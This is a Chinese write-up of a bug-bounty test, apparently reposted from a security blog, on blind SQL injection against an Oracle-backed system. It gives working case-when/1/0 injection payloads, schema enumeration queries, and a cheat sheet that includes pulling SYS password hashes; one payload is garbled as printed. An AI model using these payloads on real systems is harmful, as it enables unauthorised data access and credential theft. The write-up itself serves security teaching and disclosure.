某SRC中的Oracle数据库sql注入-从判断到注表

admin 2024年12月3日22:34:51评论15 views字数 1924阅读6分24秒阅读模式

全过程

某个系统,注册的账号权限实在太低,只有三个功能点,看到前端有大量接口泄露

某SRC中的Oracle数据库sql注入-从判断到注表

直接复制熊猫头里的接口跑一遍,最终发现多处sql注入,这里拿其中一处讲一下
前两个参数是起始时间,bmmc参数应该是查询的部门,这里单引号报错
某SRC中的Oracle数据库sql注入-从判断到注表
两个正常

某SRC中的Oracle数据库sql注入-从判断到注表

先试了最基础的语句,按正常逻辑来说应该返回全部数据,但是没有

某SRC中的Oracle数据库sql注入-从判断到注表

尝试使用Oracle中的连接符去构造报错,但是依然返回正常

某SRC中的Oracle数据库sql注入-从判断到注表

一些报错函数也不会报错

某SRC中的Oracle数据库sql注入-从判断到注表

某SRC中的Oracle数据库sql注入-从判断到注表

直接使用逻辑函数均是返回正常
某SRC中的Oracle数据库sql注入-从判断到注表

最终经过测试,利用下面语句可以进行盲注

1'AND 1=(case when 1=1 then 1 else 1/0 end) OR 'a'='b

某SRC中的Oracle数据库sql注入-从判断到注表

当条件1=2返回为1/0,而0不能为分母,所以产生报错
某SRC中的Oracle数据库sql注入-从判断到注表

这里前面必须有个1,如果什么也没有或者为负数的话那么and左边为false将会直接返回false,就不会执行case when函数

某SRC中的Oracle数据库sql注入-从判断到注表

直接判断user长度为4位

某SRC中的Oracle数据库sql注入-从判断到注表

判断user第一位

1'AND 1=(case when 1=substr(user,1,1) then 1 else 1/0 end) OR 'a'='b

某SRC中的Oracle数据库sql注入-从判断到注表

第一位为大写的Z,剩余同理

注数据库名和表名,以下是基本的语句

当前用户权限:select from session_roles where rownum=1    //rownum=1 限制查询返回的总行数为一条获取数据库名:select owner from all_tables where rownum=1   依次爆出所有数据库名,假设第一个库名为root,那第二个库为select owner from all_tables where rownum=1 and owner<>'root'    //后面代表不显示第一个库名select owner from all_tables where rownum=1 and not in 'root'    //not in 也是一个意思获取表名:select table_name from user_tables where rownum=1,依次爆出所有表类似暴库获取字段名:select column_name from user_tab_columns where table_name='tablename' and rownum=1

所以注第一个库名第一个字符如下语句

1'AND 1=(case when 1=substr((select owner from all_tables where rownum=1),1,1then 1 else 1/0 endOR 'a'='b

第一位为S,剩下同理

某SRC中的Oracle数据库sql注入-从判断到注表

注第二个库名的第一位字符,为O

某SRC中的Oracle数据库sql注入-从判断到注表

注表名字段都是一个道理

某SRC中的Oracle数据库sql注入-从判断到注表

下面是其他一些Oracle常用的语句
当前用户:select sys_context('userenv','current_user') from dual当前用户权限:select * from session_roles where rownum=1操作系统用户名:select sys_context('userenv','os_user') from dualSYS用户Hash值:select password from dba_users where username='SYS'SYS用户Hash值:select password from SYS.USER$ where name='SYS'判断当前权限是否为DBA:select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'当前数据库:select sys_context('userenv','db_name') from dual数据文件:select name from v$datafile where rownum=1当前数据库版本:select banner from sys.v_$version where rownum=1主机名:select sys_context('userenv','host') from dual主机IP:select sys_context('userenv','ip_address') from dual是否DBA:select sys_context('userenv','isdba') from dual服务器监听IP:select utl_inaddr.get_host_address from dual服务器操作系统:select member from v$logfile where rownum=1查看用户的java权限(用户名必须大写):select * from user_java_policy where grantee_name='SYS'

原文始发于微信公众号(起凡安全):某SRC中的Oracle数据库sql注入-从判断到注表

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日22:34:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某SRC中的Oracle数据库sql注入-从判断到注表https://cn-sec.com/archives/3463373.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息